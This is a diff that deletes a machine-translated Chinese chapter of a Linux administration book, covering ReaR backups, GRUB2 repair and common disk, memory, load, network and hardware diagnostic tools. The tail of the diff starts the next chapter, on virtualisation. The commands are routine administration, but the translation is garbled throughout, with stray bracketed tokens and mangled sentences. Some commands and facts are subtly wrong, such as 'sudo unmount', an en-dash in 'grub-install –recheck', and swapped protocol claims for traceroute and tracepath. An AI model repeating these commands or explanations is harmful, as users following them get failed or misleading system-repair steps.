10.6 -在/etc/exports NFS 文件中添加新行 - -引入新行后,重新启动 NFS 服务并使用`-s`选项运行`exportfs`命令。 输出如下所示: - -![Figure 10.7 – Restarting the NFS service and exporting the new shares directory](img/B13196_10_07.jpg) - -图 10.7 -重新启动 NFS 服务并导出新的共享目录 - -在设置 NFS 服务器之后,回到本地计算机并开始编辑 ReaR 配置文件,以便使用备份服务器。 编辑`/etc/rear/local.conf`文件并添加如下输出所示的行。 使用你自己系统的 IP 地址,而不是你在下面截图中看到的那个: - -![Figure 10.8 – Editing the /etc/rear/local.conf file](img/B13196_10_08.jpg) - -图 10.8 -编辑/etc/rear/local.conf 文件 - -这里显示的行表示以下内容: - -* `OUTPUT`:可引导的映像类型,在我们的示例中是 ISO -* `OUTPUT_URL`:备份目标,包括 NFS、CIFS、FTP、RSYNC 和 FILE -* `BACKUP` :所使用的备份方法,在本例中是 NETFS,这是默认的 ReaR 方法 -* `BACKUP_URL`:备份目标的位置 - -现在,运行带有`-v`和`-d`选项的`mkbackup`命令: - -```sh -sudo rear -v -d mkbackup -``` - -输出会很大,所以我们不会在这里展示给你。 该命令将花费大量时间来完成。 完成之后,您可以检查 NFS 目录以查看其输出。 备份应该在那里: - -![Figure 10.9 – Checking the backup on the NFS server](img/B13196_10_09.jpg) - -图 10.9 -检查 NFS 服务器上的备份 - -在 NFS 服务器上写入了几个文件。 其中,称为`rear-asus.iso`的是实际备份,在需要进行系统恢复时将使用该备份。 还有一个名为`backup.tar.gz`的文件,其中包含我们华硕机器上的所有文件。 - -重要提示 - -ReaR 的命名约定如下。 该名称将由术语`rear-`组成,然后是系统的`hostname`和`.iso`扩展。 我们的系统的主机名是`asus`,这就是为什么在本例中备份文件被称为`rear-asus.iso`。 - -在 NFS 服务器上写入备份之后,您就可以通过使用带有在 NFS 服务器上写入的 ISO 映像的 USB 磁盘或 DVD 来恢复系统。 - -#### 使用 ReaR 备份到 USB - -也有选项直接备份在 u 盘上。 将硬盘插入 USB 接口,使用`rear format /dev/sdb`命令格式化硬盘。 输出如下: - -![Figure 10.10 – Formatting the USB card with ReaR](img/B13196_10_10.jpg) - -图 10.10 -使用 ReaR 格式化 USB 卡 - -现在,我们需要修改`/etc/rear/local.conf`文件并对其进行调整,使其使用 USB 作为备份目的地。 这些新行应该如下所示: - -![Figure 10.11 – Adding new lines inside the /etc/rear/local.conf file](img/B13196_10_11.jpg) - -图 10.11 -在/etc/rear/local.conf 文件中添加新行 - -使用实例备份 u 盘中的系统。 - -```sh -rear -v mkbackup -``` - -手术需要相当长的时间,所以要有耐心。 一旦它完成,ISO 和`tar.gz`文件将在 USB 驱动器上。 - -要恢复系统,您需要从 USB 驱动器启动并选择第一个选项`Recover "hostname"`。 这里,主机名是您备份的计算机的主机名。 - -系统备份和恢复是两个非常重要的任务,对于任何 Linux 系统管理员来说都应该是必不可少的。 知道如何执行这些任务可以节省公司、客户的数据、时间和金钱。 最小的停机时间和快速有效的响应应该是每个**首席技术官(CTO)**表中最重要的资产。 在良好的缓解做法方面,备份和恢复战略应始终具有坚实的基础。 在这方面,强大的诊断工具集和故障诊断知识对每个系统管理员总是很有用。 这就是为什么在下一节中,我们将向您展示 Linux 中一些最好的诊断工具。 - -# 介绍常见的 Linux 故障诊断工具 - -Linux 的开放性是它最好的资产之一。 这为大量的解决方案打开了大门,这些解决方案可以用于手头的任何任务。 因此,Linux 系统管理员可以使用许多诊断工具。 根据您希望诊断系统的哪个部分,有几个可用的工具。 故障排除本质上是基于特定工具生成的诊断来解决问题。 为了减少要涵盖的诊断工具的数量,我们将在本节将问题缩小到以下类别: - -* 引导问题 -* 一般的系统问题 -* 网络问题 -* 硬件问题 - -每个类别都有特定的诊断工具。 我们将首先向您展示一些最广泛使用的。 - -## 故障排除引导问题的工具 - -要理解可能影响引导过程的问题,了解引导过程是如何工作的是很重要的。 我们还没有详细介绍这一点,所以请注意我们将告诉您的所有内容。 - -### 引导过程 - -所有主要的 Linux 发行版,如 Ubuntu、CentOS、OpenSUSE、Debian、Fedora 和 RHEL,都使用**GRUB2**作为的默认引导加载程序,`systemd`作为其默认的*init*系统。 在 GRUB2 初始化和`systemd`启动到位之前,Linux 引导过程还有几个阶段。 - -启动顺序如下: - -1. **基本输入输出系统****(BIOS)****上电自检****(POST)** -2. **Grand Unified Bootloader version 2****(GRUB2)**Bootloader 初始化 -3. GNU / Linux 内核初始化 -4. `systemd`初始化系统 - -BIOS POST 是一个专用于硬件初始化和测试的进程,它适用于每台 PC,无论它使用的是 Linux 还是 Windows。 BIOS 是为了确保 PC 机内的每个硬件部件都能正常工作。 当 BIOS 无法启动时,通常是硬件问题或兼容性问题。 BIOS 搜索磁盘的引导记录,比如**主引导记录****(MBR)**或**GUID 分区表【显示】**(GPT)**,并加载到内存中。** - -GRUB2 初始化是 Linux 开始发挥作用的地方。 这是系统将内核加载到内存中的阶段。 如果有多个操作系统可用,它可以在几个不同的内核之间进行选择。 一旦内核被加载到内存中,它就会控制引导过程。 - -内核是一个自提取归档文件。 一旦被提取,它就会运行到内存中并加载`init`系统,即 Linux 上所有其他进程的父进程。 - -称为`systemd`的`init`系统首先挂载文件系统并访问所有可用的配置文件。 - -在引导过程中,可能会出现问题。 在下一节中,我们将告诉您,如果灾难来袭,您的引导加载程序无法启动,该怎么办。 - -### 修复 GRUB2 - -如果 GRUB2 崩溃,您将无法访问您的系统。 这就需要进行 GRUB 修复。 在这个阶段,一个可启动的 USB 驱动器将会拯救你。 我们有一个 Ubuntu 20.04 活动磁盘,我们将在本例中使用它。 以下是你应该遵循的步骤: - -1. 插上电源,启动系统。 -2. 打开 BIOS,选择可启动盘作为主启动设备,并重新启动。 -3. 从屏幕上的窗口中选择**Try Ubuntu**选项。 -4. 进入 Ubuntu 实例后,打开一个 Terminal 和`sudo fdisk -l`,检查磁盘和分区。 -5. 选择安装了 GRUB2 的,并使用以下命令: - - ```sh - sudo mount -t ext4 /dev/sda1 /mnt - ``` - -6. 安装 GRUB2: - - ```sh - sudo chroot /mnt - grub-install /dev/sda - grub-install –recheck /dev/sda - update-grub - ``` - -7. 使用以下命令卸载分区: - - ```sh - exit - sudo unmount /mnt - ``` - -8. 重新启动计算机。 - -处理引导加载程序是非常敏感的。 注意所有的细节,注意你输入的所有命令。 否则,一切都会偏离正轨。 在下一节中,我们将向您展示一些用于一般系统问题的诊断工具。 - -## 故障排除一般系统问题的工具 - -系统问题可以是不同类型和复杂性的。 了解处理这些问题的工具是至关重要的。 在本节中,我们将介绍 Linux 发行版提供的默认工具。 对于任何 Linux 系统管理员来说,基本的故障排除知识都是必要的,因为在常规操作过程中可能(并且将会)发生问题。 - -一般系统问题意味着什么? 基本上,这些是关于磁盘空间、内存使用、系统负载和运行进程的问题。 - -### 磁盘相关问题的命令 - -磁盘,无论是还是 hdd 或 ssd,都是系统的重要组成部分。 它们为您的数据、文件和任何类型的软件(包括操作系统)提供必要的空间。 我们将不讨论与硬件相关的问题,因为这将是未来一节的主题,该节将称为*用于故障诊断硬件问题的工具*。 相反,我们将讨论与磁盘空间相关的问题。 最常见的诊断工具已经安装在任何 Linux 系统上,它们由以下命令表示: - -* `du`:显示文件和目录的磁盘空间利用率的实用程序 -* `df`:显示目录磁盘使用情况的实用程序 - -下面是使用`df`实用程序和`-h`选项的示例。 以人类可读的格式显示磁盘使用情况,磁盘大小以千字节、兆字节和千兆字节表示: - -![Figure 10.12 – Running the df -h command to view disk space usage](img/B13196_10_12.jpg) - -图 10.12 -执行 df -h 命令查看磁盘空间使用情况 - -如果其中一个磁盘耗尽了空间,它将显示在输出中。 在我们的示例中,这不是问题,但是该工具仍然与找出哪些可用磁盘的空闲可用空间存在问题有关。 - -当磁盘已满或几乎已满时,可以应用几个修复程序。 如果您必须删除一些文件,我们建议您从您的`/home`目录中删除它们。 尽量不要删除重要的系统文件。 以下是解决可用空间问题的一些想法: - -* 使用`rm`命令(可以选择使用`-rf`)或`rmdir`命令删除不需要的文件。 -* 使用`rsync`命令将文件移动到外部驱动器(或云)。 -* 找出您的`/home`目录中使用最多空间的目录。 - -下面是使用`du`实用程序查找`/home`目录中的最大目录的示例。 我们使用两个管道将`du`命令的输出传输到`sort`命令,最后传输到带有`5`选项的`head`命令(因为我们希望显示五个最大的目录,而不是全部): - -![Figure 10.13 – Finding the largest directories in your /home directory](img/B13196_10_13.jpg) - -图 10.13 -在/home 目录中找到最大的目录 - -可能存在使用`inodes`的数量问题,而不是空间问题。 您可以使用`df -i`命令查看是否已经用完`inodes`: - -![Figure 10.14 – Checking if you ran out of inodes](img/B13196_10_14.jpg) - -图 10.14 -检查是否用光了 inode - -除了这里显示的命令,每个 Linux 发行版的默认值,还有许多其他开源工具对磁盘空间的问题,比如**pydf**,**分手**,**sfdisk**,**iostat**,【显示】和基于 gui Gparted 应用。 - -### 内存使用问题的命令 - -内存过载,加上、CPU 加载和磁盘使用,是影响整个系统性能的因素。 使用特定工具检查系统负载是极其重要的。 Linux 中检查 RAM 统计信息的默认工具叫做`free`,它可以在任何主流发行版中访问: - -![Figure 10.15 – Using the free command in Linux](img/B13196_10_15.jpg) - -图 10.15 -在 Linux 中使用 free 命令 - -如上面的屏幕截图所示,使用`free`命令(带有`-h`选项用于人类可读的输出)会显示如下: - -* `total`:内存总量 -* `used`:已使用的内存,计算为总内存减去缓冲内存、缓存内存和空闲内存 -* `free`:空闲或未使用的内存 -* `shared`:`tmpfs`使用的内存 -* `buff/cache`:内核缓冲区和页面缓存所使用的内存 -* `available`:新应用可用的内存量 - -通过这种方式,您可以找到与更高内存使用相关的特定问题。 不断检查服务器上的内存使用情况对于了解资源是否得到有效使用非常重要。 - -另一种检查内存使用情况的方法是使用`top`命令,如下图所示: - -![Figure 10.16 – Using the top command to check memory usage](img/B13196_10_16.jpg) - -图 10.16 -使用 top 命令检查内存使用情况 - -在使用`top`命令时,屏幕上有几个部分可用。 输出是动态的,在某种意义上它是不断变化的,显示关于系统上运行的进程的实时信息。 内存部分显示了关于所使用的总内存、空闲内存和缓冲内存的信息。 默认情况下,所有信息都以兆字节显示,以便于阅读和理解。 - -另一个显示内存信息(以及其他有价值的系统信息)的命令是`vmstat`: - -![Figure 10.17 – Using vmstat with no options](img/B13196_10_17.jpg) - -图 10.17 -使用没有选项的 vmstat - -默认情况下,`vmstat`显示进程、内存、交换板、磁盘和 CPU 使用情况。 内存信息从第二列开始显示,包含如下详细信息: - -* `swpd`:虚拟内存的使用量 -* `free`:有多少内存可用 -* `buff`:正在用于缓冲的内存数量 -* `cache`:用于缓存的内存数量 - -`vmstat`命令有几个可用选项。 要了解所有选项以及输出中的所有列代表什么,请使用以下命令访问各自的手动页面: - -```sh -man vmstat -``` - -可以与`vmstat`一起使用的选项有`-a`和`-s`,以显示关于内存的不同信息。 通过使用`vmstat -a`,输出将显示当前内存和未激活内存: - -![Figure 10.18 – Using vmstat -a to show the active and inactive memory](img/B13196_10_18.jpg) - -图 10.18 -使用 vmstat -a 显示活动内存和非活动内存 - -使用`vmstat -s`将显示详细的内存、CPU 和磁盘统计信息。 这里显示了输出中一些内存统计信息的摘录: - -![Figure 10.19 – Using vmstat with the -s option for memory statistics](img/B13196_10_19.jpg) - -图 10.19 -使用带有-s 选项的 vmstat 进行内存统计 - -本节中讨论的所有命令对于故障诊断任何内存问题都是必不可少的。 您可能还可以使用其他版本,但这些版本是您在任何 Linux 发行版中默认会找到的。 - -然而,还有一个在本节中值得一提:`sar`命令。 这可以通过`sysstat`包安装在 Ubuntu 中。 因此,请使用如下命令安装包: - -```sh -sudo apt install sysstat -``` - -安装包后,为了能够使用`sar`命令显示系统内存使用的详细统计信息,您需要启用`sysstat`服务。 它需要积极地收集数据。 默认情况下,服务每 10 分钟运行一次,并将日志保存在`/var/log/sysstat/saXX`目录中。 每个目录都以服务运行的日期命名。 例如,如果我们在 12 月 16 日运行`sar`命令,服务将查找`/var/log/sysstat/sa16`中的数据。 我们在 12 月 16 日启动服务之前运行`sar`命令,错误输出如下: - -![Figure 10.20 – Running the sar command before starting the sysstat service](img/B13196_10_20.jpg) - -图 10.20 -在启动 sysstat 服务之前运行 sar 命令 - -因此,要启用数据收集,首先启动并启用`sysstat`服务: - -![Figure 10.21 – Starting and enabling the sysstat service](img/B13196_10_21.jpg) - -图 10.21 -启动和启用 sysstat 服务 - -重要提示 - -在系统重启的情况下,默认情况下服务可能不会重启,即使执行了上述命令。 为了克服这个问题,在 Ubuntu 上,你应该编辑/`etc/default/sysstat`文件,将 ENABLED 状态从 false 更改为 true。 - -服务的名称是**系统活动数据收集器(sadc)**,它对包和服务使用`sysstat`名称。 - -使用`sar`命令,您可以实时生成不同的报表。 例如,如果我们想每 2 秒生成 5 次内存报告,我们将使用`-r`选项,如下面的截图所示: - -![Figure 10.22 – Generating memory statistics in real time with the sar command](img/B13196_10_22.jpg) - -图 10.22 -使用`sar`命令实时生成内存统计信息 - -输出每 2 秒显示一行,每行 5 次,最后显示一个平均行。 它是一个强大的工具,不仅可以用于内存统计。 还有用于 CPU 和磁盘统计的选项。 - -总的来说,在本节中,我们介绍了用于故障诊断内存问题的最重要的工具。 在下一节中,我们将介绍用于解决一般系统负载问题的工具。 - -### 用于系统负载问题的命令 - -与我们在前几节中讨论的类似,在本节中,我们将讨论系统负载问题。 用于其他类型问题的一些工具也可以用于系统加载问题。 例如,当我们试图确定系统的延迟时,`top`命令是最广泛使用的命令之一。 所有其他工具,如`vmstat`和`sar`,也可用于 CPU 和系统负载故障排除。 - -故障诊断系统负载的基本命令是`uptime`。 正常运行时间的输出通常在最后显示三个值。 这些值表示 1、5 和 15 分钟的负载平均值。 平均负载可以让您清楚地了解系统进程的情况。 - -如果您有一个单一的 CPU 系统,平均负载为 1 意味着该 CPU 处于满载状态。 如果这个数字更高,这意味着负载比 CPU 所能处理的要高得多,这可能会给您的系统带来很大压力。 因此,进程将需要更长的时间来执行,系统的整体性能将受到影响。 - -高平均负载意味着应用同时运行多个线程。 然而,一些负载问题不仅仅是过度拥挤的 CPU 造成的——它们可能是 CPU 负载、磁盘 I/O 负载和内存负载的综合影响。 在这种情况下,用于诊断系统负载问题的瑞士军刀是`top`命令。 `top`命令的输出根据系统的负载不断地实时变化: - -![Figure 10.23 – Running top to troubleshoot system load issues](img/B13196_10_23.jpg) - -图 10.23 -运行 top 来解决系统负载问题 - -默认情况下,`top`根据进程占用的 CPU 数量对其进行排序。 它以交互模式运行,有时,输出很难在屏幕上看到。 您可以将输出重定向到一个文件,并使用`-b`选项以批处理模式使用该命令。 这种模式只在指定的次数下更新命令。 以批处理方式运行`top`命令: - -```sh -top -b -n 1 | tee top-command-output -``` - -对于没有经验的 Linux 用户来说,`top`命令可能有点吓人。 这就是为什么我们要稍微解释一下输出: - -* `us`:用户 CPU 时间 -* `sy`:系统 CPU 时间 -* `ni`:良好的 CPU 时间 -* `id`:CPU 空闲时间 -* `wa`:输入/输出等待时间 -* `hi`:CPU 硬件中断时间 -* `si`:CPU 软件中断时间 -* `st`:CPU 窃取时间 - -另一个有用的工具诊断 CPU 使用情况和硬盘输入/输出时间是`iostat`: - -![Figure 10.24 – The output of iostat](img/B13196_10_24.jpg) - -图 10.24 - iostat 的输出 - -CPU 统计信息类似于`top`的输出。 I/O 统计数据显示在 CPU 统计数据下面。 下面是每一列代表的内容: - -* `tps`:每秒传输到设备(I/O 请求) -* `kB_read/s`:从设备读取的数据量(以块数为单位,单位为千字节) -* `kB_wrtn/s`:写入设备的数据量(以块数为单位,单位为千字节) -* `kB_dscd/s`:设备丢弃的数据量(单位为千字节) -* `kB_read`:读取的总块数 -* `kB_wrtn`:写块总数 -* `kB_dscd`:丢弃的块总数 - -有关`iostat`命令的更多信息,请使用以下命令阅读相应的手册页: - -```sh -man iostat -``` - -除了`iostat`命令之外,您还可以使用另一个命令`iotop`。 它不是默认安装在 Ubuntu 上,但你可以安装它。 首先,用下面的命令搜索包: - -![Figure 10.25 – Searching for the iotop package](img/B13196_10_25.jpg) - -图 10.25 -搜索 iotop 包 - -然后,您可以使用以下命令安装它: - -```sh -sudo apt install iotop -``` - -一旦安装了这个包,你需要`sudo`特权来运行它: - -![Figure 10.26 – Running the iotop command](img/B13196_10_26.jpg) - -图 10.26 -运行 iotop 命令 - -您还可以运行服务来排除系统负载问题,类似于我们使用它来排除内存问题的方式。 默认情况下,`sar`将输出当前一天的 CPU 统计信息: - -![Figure 10.27 – Running sar for CPU load troubleshooting](img/B13196_10_27.jpg) - -图 10.27 -运行 sar 来诊断 CPU 负载 - -在上面的截图中,`sar`每 2 秒运行 5 次。 此时,我们的本地网络服务器负载并不重,但是您可以想象,当该命令在频繁使用的服务器上运行时,输出将是不同的。 正如我们在前一节中指出的,`sar`命令有几个选项,这些选项在寻找潜在问题的解决方案时可能非常有用。 运行`man sar`命令,查看包含所有可用选项的手动页面。 - -还有许多其他工具可以用于一般的系统故障排除。 使用本节中展示的工具,我们仅仅触及了这个主题的表面。 如果您觉得有必要,我们建议您搜索更多用于一般系统故障排除的工具。 否则,这里提供的这些已经足够您生成关于可能的系统问题的可行报告。 - -特定于网络的问题将在下一节中讨论。 - -## 网络故障处理工具 - -排除网络问题几乎占系统管理员工作的 80%——甚至更多。 这些数字并没有得到任何官方研究的支持,更多的是实践经验的见解。 由于大多数服务器和云问题都与网络有关,因此最佳的工作网络意味着减少停机时间,让客户和系统管理员感到满意。 - -在本节中我们将介绍的工具是所有主要 Linux 发行版中的默认工具。 所有这些工具讨论了[*第七章*](07.html#_idTextAnchor126)*,网络对于 Linux,*[*第八章【显示】*](08.html#_idTextAnchor152),*配置 Linux 服务器*、【病人】和*第 9 章*,【t16.1】获得 Linux,所以我们只会的名字一遍从解决问题的角度来看。 让我们分析一下在特定的 TCP/IP 层上应该使用的工具。 还记得 TCP/IP 模型中有多少层吗? 有五层可用,我们将从第一层开始。 作为一种良好的实践,最好通过堆栈来进行网络故障排除,从应用层一直到物理层。 - -### 诊断层 1 - -很多时候,由于网络的复杂性,问题往往会出现。 网络对日常生活至关重要。 我们到处都在使用它们,从无线智能手表到智能手机,再到电脑,再到云计算。 世界各地的一切都是连接在一起的,这使我们的生活更美好,而系统管理员的生活更艰难一些。 在这个相互连接的世界中,事情很容易出错,需要对网络问题进行故障排除。 - -`ping`命令是最基本的测试工具之一,也是大多数系统管理员最先使用的工具之一。 名称来自分组 InterNet Groper,它提供基本的连接测试。 让我们在一个本地服务器上进行测试,看看是否一切正常。 我们将使用`ping`命令的`-c`选项运行四个测试。 输出如下: - -![Figure 10.28 – Running a basic test using the ping command](img/B13196_10_28.jpg) - -图 10.28 -使用 ping 命令运行基本测试 - -Ping 正在向目的地(在本例中是`google.com`)发送简单的 ICMP 包,并等待响应。 一旦它被接收并且没有数据包丢失,这意味着一切工作正常。 `ping`命令可以用来测试到本地网络系统和远程网络的连接。 它是第一个用于测试和隔离可能问题的工具。 - -有时候,使用`ping`命令进行简单的测试是不够的。 在本例中,另一个通用命令是`ip`命令。 你可以用检查物理层是否有任何问题: - -![Figure 10.29 – Showing the state of the physical interfaces with the ip command](img/B13196_10_29.jpg) - -图 10.29 -使用 ip 命令显示物理接口的状态 - -在上图中,可以看到以太网接口(`state UP`)运行正常,而无线接口(`state DOWN`)运行不正常。 它在任何其他系统上都可能不同,我们可以使用下面的命令带来一个接口。 在我们的例子中,我们将使用以下命令打开无线接口: - -```sh -ip link set wlp0s20f3 up -``` - -执行该命令后,可以查看接口的状态。 - -```sh -ip link show -``` - -如果您可以直接访问服务器或系统,您可以直接检查线路是否连接。 如果您碰巧正在使用无线连接(不推荐),则需要使用和`ip`命令。 - -另一个有用的工具是`ethtool`。 Ubuntu 默认没有安装,所以你需要安装它才能使用它。 安装完成后,要检查以太网接口,运行如下截图所示的命令: - -![Figure 10.30 – Using the ethtool command ](img/B13196_10_30.jpg) - -图 10.30 -使用 ethtool 命令 - -通过使用`ethtool`,我们可以检查一个连接是否达到了正确的速度。 在前面的示例中,您可以看到,在我们的示例中,服务器已经正确地协商了一个完整的 1,000 Mbps 全双工连接。 在下一节中,我们将向您展示如何诊断第 2 层堆栈。 - -### 诊断层 2 - -TCP/IP 协议栈中的第二层称为数据链路层。 它通常负责局域网的连接。 在这个阶段可能发生的大多数问题都是由于不正确的 IP 到 MAC 地址映射造成的。 可以在此实例中使用的一些工具包括`ip`命令和`arp`命令。 `arp`命令,来自【显示】**地址解析协议(ARP)**,用于地图 IP 地址与 MAC 地址(3)层(第二层)。在 Ubuntu,【病人】`arp`命令可以通过`net-tools`包。 首先,使用以下命令进行安装: - -```sh -sudo apt install net-tools -``` - -可以使用`arp`命令查看 ARP 表内的表项,如下图所示: - -![Figure 10.31 – Using the arp command to map the ARP entries](img/B13196_10_31.jpg) - -图 10.31 -使用 arp 命令映射 arp 表项 - -`arp`命令的输出将显示所有连接的设备,以及它们的 IP 和 MAC 地址的详细信息。 注意,出于隐私考虑,MAC 地址被模糊处理了。 - -与`arp`命令类似,您可以使用`ip neighbor show`命令,如下所示: - -![Figure 10.32 – Listing the ARP entries using the ip command](img/B13196_10_32.jpg) - -图 10.32 -使用 ip 命令显示 ARP 表项 - -`ip`命令可以用来删除 ARP 表项,如下所示: - -```sh -ip neighbor delete IP dev eno1 -``` - -这里,`IP`是您想要从列表中删除的 IP。 - -`arp`和`ip`命令都有类似的输出。 它们是功能强大的命令,对于排除可能的第 2 层问题非常有用。 在下一节中,我们将向您展示如何诊断第 3 层堆栈。 - -### 诊断第三层 - -在第 3 层,我们只处理 IP 地址。 我们已经了解了这里要使用的工具,例如`ip`命令、`ping`命令、`traceroute`命令和`nslookup`命令。 因为我们已经讨论了`ip`和`ping`命令,所以这里只讨论如何使用`traceroute`和`nslookup`。 Ubuntu 中没有默认安装`traceroute`命令。 你必须使用以下命令安装它: - -```sh -sudo apt install traceroute -``` - -默认情况下,`nslookup`包已经在 Ubuntu 中可用。 首先,要查看路由表,查看不同路由的网关列表,我们可以使用`ip route`命令: - -![Figure 10.33 – Showing the routing table using the ip route show command](img/B13196_10_33.jpg) - -图 10.33 -使用 ip route show 命令显示路由表 - -`ip route`命令中显示为默认网关。 如果它丢失或配置不正确,就会出现问题。 - -`traceroute`工具用于检测流量从源到目的的路径。 下面的输出显示了数据包从我们的本地网关到谷歌的服务器的路径: - -![Figure 10.34 – Using traceroute for path tracing](img/B13196_10_34.jpg) - -图 10.34 -使用 traceroute 进行路径跟踪 - -`traceroute`工具为,用于检测流量从源到目的的路径。 数据包在发送时和返回源时通常没有相同的路由。 数据包被发送到网关进行处理,然后通过特定的路由发送到目的地。 当数据包超过本地网络时,`traceroute`工具可能不能准确地表示它们的路由,因为它所依赖的数据包可以被路径上的许多网关过滤(ICMP TTL Exceeded 数据包通常被过滤)。 - -与 traceroute 类似,还有一个更新的工具**tracepath**。 它默认安装在 Ubuntu 上,是`traceroute`的替代品。 它被认为更可靠,因为它使用 UDP 端口进行跟踪,而`traceroute`使用不太可靠的 ICMP 协议。 `Tracepath`可以与`-n`选项一起使用,以显示 IP 地址而不是主机名。 下面是一个例子: - -![Figure 10.35 – Using the tracepath command](img/B13196_10_35.jpg) - -图 10.35 -使用 tracepath 命令 - -进一步检查网络问题可能导致错误的 DNS 解析,其中主机只能通过 IP 地址访问,而不能通过主机名访问。 要解决这个问题,即使它不是第 3 层协议,也可以使用`nslookup`命令和`ping`命令: - -![Figure 10.36 – Using nslookup for IP and DNS troubleshooting](img/B13196_10_36.jpg) - -图 10.36 -使用 nslookup 进行 IP 和 DNS 故障排除 - -上述输出显示`nslookup`命令与`ping`命令具有相同的 IP,这意味着一切正常。 如果在输出中显示了不同的 IP,那么您的主机配置有问题。 在下一节中,我们将向您展示如何诊断第 4 层和第 5 层堆栈。 - -### 诊断第 4 和第 5 层 - -最后两个层,第 4 层(传输)和第 5 层(应用),将主要为应用提供主机到主机的通信服务。 这就是为什么我们将以简略的方式介绍它们。 的两个最著名的从第四层协议**【病人】**传输控制协议(TCP)和**【t16.1】**用户数据报协议(UDP)、使用和实现在每个操作系统可用。 TCP 和 UDP 覆盖了互联网上的所有流量。 用于排除第 4 层问题的一个重要工具是`ss`命令。 `ss`命令是`netstat`的最新替换,用于查看所有网络套接字的列表。 因此,列表可以有很大的大小,所以您可以使用几个命令选项来减少它。 例如,您可以使用`-t`选项只查看 TCP 套接字,使用`-u`选项查看 UDP 套接字,使用`-x`选项查看 Unix 套接字。 因此,要查看 TCP 和 UDP 套接字信息,我们将使用`ss`命令,如下图所示: - -![Figure 10.37 – Using the ss command to list TCP and UDP sockets](img/B13196_10_37.jpg) - -图 10.37 -使用 ss 命令列出 TCP 和 UDP socket - -此外,要查看系统上的所有监听套接字,可以使用`-l`选项。 这一个,结合`-u`和`-t`选项,将显示您的系统上所有的 UDP 和 TCP 侦听套接字。 以下是摘录自一个更长的清单: - -![Figure 10.38 – A list of listening sockets](img/B13196_10_38.jpg) - -图 10.38 -监听套接字列表 - -当您想要验证可用的套接字和处于`LISTEN`状态的套接字时,`ss`命令对于网络故障诊断非常重要。 系统管理员的工具箱中不应该缺少这个工具。 5 层,应用层,是由应用使用的协议,我们将记住协议(如****动态主机配置协议(DHCP)**,在【显示】**超文本传输协议(HTTP),【病人】和文件传输协议(FTP**)。 由于诊断第 5 层主要是应用故障诊断过程,因此将不在本节中涵盖 d。****** - - ****在下一节中,我们将简要地讨论硬件故障排除问题。 - -## 硬件故障排除工具 - -故障排除硬件问题的第一步是检查硬件。 查看系统硬件详细信息的一个非常好的工具是`dmidecode`命令。 该命令用于以人类可读的格式读取每个硬件组件的详细信息。 每一块硬件都有特定的 DMI 代码,这取决于它的类型。 此代码特定于 SMBIOS。 下面是可用的所有硬件代码的列表。 SMBIOS 使用的代码有 45 个,如下: - -![](img/B13196_10_Table_01.jpg) - -要查看关于系统内存的详细信息,您可以使用带有`-t`选项(来自 TYPE)的`dmidecode`命令和代码 17(对应于内存设备的)。 我们系统中的一个例子如下: - -![Figure 10.39 – Using dmidecode to view information about memory](img/B13196_10_39.jpg) - -图 10.39 -使用 dmidecode 查看内存信息 - -要查看关于其他硬件组件的详细信息,请结合特定代码使用该命令。 其他快速故障排除工具包括`lspci`、`lsblk`和`lscpu`等命令。 这些命令的输出可能会非常大,不能放在一个屏幕上: - -![Figure 10.40 – The output of the lsblk command](img/B13196_10_40.jpg) - -图 10.40 - lsblk 命令的输出 - -`lsblk`命令的输出显示关于系统上正在使用的磁盘和分区的信息。 `lscpu`命令将显示 CPU 的详细信息: - -![Figure 10.41 – The output of lscpu ](img/B13196_10_41.jpg) - -图 10.41 - lscpu 的输出 - -在对硬件问题进行故障排除时,快速查看一下内核的日志可能会很有用。 为此,使用以下示例中的`dmesg`命令: - -```sh -dmesg | more -``` - -如您所见,硬件故障排除与所有其他类型的故障排除一样重要且具有挑战性。 解决与硬件相关的问题是任何系统管理员工作的一个组成部分。 这包括不断检查硬件部件,用新部件替换故障部件,并确保它们顺利运行。 - -# 总结 - -在本章中,我们强调了灾难恢复计划、备份和恢复策略以及故障排除各种系统问题的重要性。 当灾难发生时,每个系统管理员都应该能够将他们的知识应用到实践中。 不同类型的故障最终会影响正在运行的服务器,因此应尽快提供解决方案,以确保最小的停机时间并防止数据丢失。 - -本章代表了本书中*高级服务器管理*部分的高潮部分。 在下一章中,我们将向您介绍云计算作为当今和未来计算景观的一个自然步骤和顶峰。 - -# 练习 - -在我们深入到云部分并查看任何 Linux 发行版上的故障排除问题之前,让我们测试一下您现在已经知道的所有内容。 故障排除是解决问题的最佳方法,下面的问题可以测试您的基本和高级 Linux 管理的全部知识: - -1. 试着为你的私人网络或小企业起草一个 DRP。 -2. 使用 321 规则备份您的整个系统。 -3. 找出您的系统中使用 CPU 最多的前 10 个进程。 -4. 找出您系统中使用 RAM 最多的前 10 个进程。 - -# 进一步阅读 - -* Ubuntu 20.04 LTS 官方文档:[https://ubuntu.com/server/docs](https://ubuntu.com/server/docs) -* RHEL 8 官方文档:[https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/) -* SUSE 官方文档:[https://documentation.suse.com/](https://documentation.suse.com/)******** \ No newline at end of file diff --git a/docs/master-linux-admin/11.md b/docs/master-linux-admin/11.md deleted file mode 100644 index e32cf49b..00000000 --- a/docs/master-linux-admin/11.md +++ /dev/null @@ -1,707 +0,0 @@ -# 十一、使用容器和虚拟机 - -在本章中,您将了解什么是虚拟机和容器。 对于初学者,您将了解虚拟化如何在 Linux 中工作,以及如何创建和使用 vm。 一旦掌握了这一点,您将了解容器以及如何设置它们来改变虚拟化和应用交付的未来。 您将了解使用容器的著名工具之一——Docker。 本章的主题将为您的 Linux 的未来做好准备,因为它是所有现代云技术的基础。 如果你希望在不断变化的环境中紧跟时代,本章将是你旅程的重要起点。 - -在本章中,我们将涵盖以下主要主题: - -* 介绍 Linux 上的虚拟化 -* 了解 Linux 容器 -* 码头工人一起工作 - -# 技术要求 - -不需要特殊的技术要求,只需要在您的系统上安装一个可以工作的 Linux。 8 种 Ubuntu 和 CentOS 都同样适合本章的练习,我们将使用它们作为示例。 - -本章的代码可通过以下链接获得:[https://github.com/PacktPublishing/Mastering-Linux-Administration](https://github.com/PacktPublishing/Mastering-Linux-Administration)。 - -# Linux 虚拟化简介 - -虚拟化的出现是为了更有效地利用计算机硬件。 它基本上是一个利用计算机资源的抽象层。 在本节中,您将了解 vm 的类型、它们如何在 Linux 上工作,以及如何部署和管理它们。 - -## 资源利用效率 - -虚拟化使用的抽象层是一个软件层,它允许更有效地使用计算机的所有组件。 这允许更好地使用所有物理机器的功能和资源。 - -在进一步深入虚拟化之前,让我们先来看一个示例。 